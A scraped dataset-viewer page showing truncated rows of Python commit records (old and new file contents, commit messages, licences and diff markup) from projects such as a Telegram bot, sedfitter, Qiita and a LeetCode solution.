from models_obj_rel import *
from models_ufs_obj import *
try:
# apps.py
from django.apps import AppConfig
try:
import tagging
tagging.register(UfsObj)
except ImportError:
pass
except ImportError:
try:
import... |
e58f75c0c0196d2c3cb9df3e24978142ac542933 | bot/action/extra/messages/stored_message.py | bot/action/extra/messages/stored_message.py | class StoredMessageMapper:
def from_api(self, message):
data = message.data.copy()
self.__replace_with_id_if_present(data, "from")
self.__replace_with_id_if_present(data, "forward_from")
self.__replace_with_id_if_present(data, "reply_to_message", "message_id")
self.__delete_i... | Create StoredMessageMapper from MessageStorageHandler code | Create StoredMessageMapper from MessageStorageHandler code
| Python | agpl-3.0 | alvarogzp/telegram-bot,alvarogzp/telegram-bot | <REPLACE_OLD> <REPLACE_NEW> class StoredMessageMapper:
def from_api(self, message):
data = message.data.copy()
self.__replace_with_id_if_present(data, "from")
self.__replace_with_id_if_present(data, "forward_from")
self.__replace_with_id_if_present(data, "reply_to_message", "message... | Create StoredMessageMapper from MessageStorageHandler code
| |
f4b3c2ca7d9fdf6bc96202d6c2ad3b16cb6fc3be | sedfitter/timer.py | sedfitter/timer.py | from __future__ import print_function, division
import time
import numpy as np
class Timer(object):
def __init__(self):
self.time1 = time.time()
self.n = 0
self.step = 1
print(" # Sources CPU time (sec) Sources/sec ")
print(" ------------------------------------... | from __future__ import print_function, division
import time
import numpy as np
class Timer(object):
def __init__(self):
self.time1 = time.time()
self.n = 0
self.step = 1
print(" # Sources CPU time (sec) Sources/sec ")
print(" ------------------------------------... | Fix division by zero error | Fix division by zero error | Python | bsd-2-clause | astrofrog/sedfitter | <INSERT> if self.time2 == self.time1:
print(" %7i %10.1f -------" % (self.n, self.time2 - self.time1))
else:
<INSERT_END> <|endoftext|> from __future__ import print_function, division
import time
import numpy as np
class Timer(object):
def __init__(s... | Fix division by zero error
from __future__ import print_function, division
import time
import numpy as np
class Timer(object):
def __init__(self):
self.time1 = time.time()
self.n = 0
self.step = 1
print(" # Sources CPU time (sec) Sources/sec ")
print(" ---------... |
bd5844aa6c59c8d34df12e358e5e06eefcb55f9d | qiita_pet/handlers/download.py | qiita_pet/handlers/download.py | from tornado.web import authenticated
from os.path import split
from .base_handlers import BaseHandler
from qiita_pet.exceptions import QiitaPetAuthorizationError
from qiita_db.util import filepath_id_to_rel_path
from qiita_db.meta_util import get_accessible_filepath_ids
class DownloadHandler(BaseHandler):
@aut... | from tornado.web import authenticated
from os.path import basename
from .base_handlers import BaseHandler
from qiita_pet.exceptions import QiitaPetAuthorizationError
from qiita_db.util import filepath_id_to_rel_path
from qiita_db.meta_util import get_accessible_filepath_ids
class DownloadHandler(BaseHandler):
@... | Use basename instead of os.path.split(...)[-1] | Use basename instead of os.path.split(...)[-1]
| Python | bsd-3-clause | ElDeveloper/qiita,josenavas/QiiTa,RNAer/qiita,squirrelo/qiita,RNAer/qiita,ElDeveloper/qiita,antgonza/qiita,adamrp/qiita,wasade/qiita,antgonza/qiita,squirrelo/qiita,biocore/qiita,adamrp/qiita,josenavas/QiiTa,biocore/qiita,ElDeveloper/qiita,adamrp/qiita,antgonza/qiita,RNAer/qiita,squirrelo/qiita,ElDeveloper/qiita,wasade/... | <REPLACE_OLD> split
from <REPLACE_NEW> basename
from <REPLACE_END> <REPLACE_OLD> split(relpath)[-1]
<REPLACE_NEW> basename(relpath)
<REPLACE_END> <|endoftext|> from tornado.web import authenticated
from os.path import basename
from .base_handlers import BaseHandler
from qiita_pet.exceptions import QiitaPetAutho... | Use basename instead of os.path.split(...)[-1]
from tornado.web import authenticated
from os.path import split
from .base_handlers import BaseHandler
from qiita_pet.exceptions import QiitaPetAuthorizationError
from qiita_db.util import filepath_id_to_rel_path
from qiita_db.meta_util import get_accessible_filepath_id... |
26a847a9b5f9db3279849c6cc7505d41653887c9 | setup.py | setup.py | from setuptools import setup, find_packages
setup(
name='typesystem',
version='0.1',
description="An abstract type system",
long_description="",
classifiers=[
"Development Status :: 3 - Alpha",
"Intended Audience :: Developers",
"License :: OSI Approved :: MIT License",
... | Make it a python package | Make it a python package
| Python | mit | pudo/typecast,influencemapping/typesystem | <INSERT> from setuptools import setup, find_packages
setup(
<INSERT_END> <INSERT> name='typesystem',
version='0.1',
description="An abstract type system",
long_description="",
classifiers=[
"Development Status :: 3 - Alpha",
"Intended Audience :: Developers",
"License :: OSI... | Make it a python package
| |
d3f68c385da4d2fa864ba748f41785be01c26c34 | py/student-attendance-record-i.py | py/student-attendance-record-i.py | class Solution(object):
def checkRecord(self, s):
"""
:type s: str
:rtype: bool
"""
A = False
L = 0
for c in s:
if c == 'L':
L += 1
if L > 2:
return False
else:
L = 0
... | Add py solution for 551. Student Attendance Record I | Add py solution for 551. Student Attendance Record I
551. Student Attendance Record I: https://leetcode.com/problems/student-attendance-record-i/
| Python | apache-2.0 | ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode | <REPLACE_OLD> <REPLACE_NEW> class Solution(object):
def checkRecord(self, s):
"""
:type s: str
:rtype: bool
"""
A = False
L = 0
for c in s:
if c == 'L':
L += 1
if L > 2:
return False
... | Add py solution for 551. Student Attendance Record I
551. Student Attendance Record I: https://leetcode.com/problems/student-attendance-record-i/
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.